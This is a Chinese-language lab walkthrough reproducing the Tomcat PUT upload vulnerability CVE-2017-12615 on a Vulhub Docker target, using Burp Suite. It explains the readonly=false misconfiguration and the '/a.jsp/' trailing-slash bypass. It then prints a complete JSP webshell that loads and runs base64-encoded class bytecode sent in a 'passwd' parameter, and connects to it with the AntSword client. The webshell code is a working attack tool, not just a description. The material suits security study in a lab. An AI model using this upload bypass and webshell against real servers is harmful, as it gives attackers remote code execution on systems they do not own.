1.准备:
1.1复现环境
漏洞环境:vulnhub靶场
工具准备:burpsuite
1.2环境启动
进入vulnhub目录下的tomcat目录,进入CVE-2017-12615目录
cd /home/hbesljx/vulhub/tomcat/CVE-2017-12615
docker-compoe启动漏洞环境
docker-compose up -d
访问靶机的8080端口。出现tomcat界面即为开启成功!
2.概念说明
2.1 tomcat是什么
Apache Tomcat是由Apache Software Foundation(ASF)开发的一个开源Java WEB应用服务器。
2.2 tomcat的web.xml文件是什么
web.xml是位于tomcat的webapps下的一个文件,指定了该网站的一些配置。
2.3 readonly是什么
readonly是tomcat的一项配置属性,当设置为true时,为只读,当设置为false时,允许任意用户通过PUT方法上传文件。
2.4 PUT方法是什么
put方法是http请求方法的一种,将会在目标服务器创建一项新的资源或者覆盖原有的资源。
3.漏洞原理
3.1
tomcat错误设置了readonly为false,使得我们可以通过PUT方法上传任意文件到目标服务器
3.2
tomcat的servlet在web.xml中配置,通过查看web.xml可知,后缀为jsp和jspx的文件由JspServlet解析,而其它文件由DefaultServlet解析。我们要上传一个jsp文件木马,由于JspServlet中没有原定接收我们这个jsp文件的servlet,因此我们上传这个木马后,目标服务器不会有任何反应,因为无法接收我们的jsp文件。但是我们通过一些绕过手段,使得我们的jsp木马被DefaultServlet接收,这样就可以被目标服务器成功接收。
4.漏洞复现
4.1 访问一个不存在的a.jsp文件,并且使用burpsuite抓包
4.2 修改数据包的方法为PUT,并且将a.jsp的内容写在最下面![](https://i-blog.csdnimg.cn/direct/b41af7490f3b402886cfc57b4a0ce22b.png)
4.3 修改/a.jsp为/a.jsp/并放行数据包
a.jsp/文件会进入tomcat的DefaultServlet中,而windows创建文件a.jsp/时,会自动将后面的反斜杠/删除,因为windows文件命名不允许出现/
4.4访问靶机ip:8080/a.jsp
说明我们成功写入了a.jsp文件
5.获取webshell
5.1上传木马
JSP木马如下:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
5.2使用蚁剑连接jsp木马
连接成功!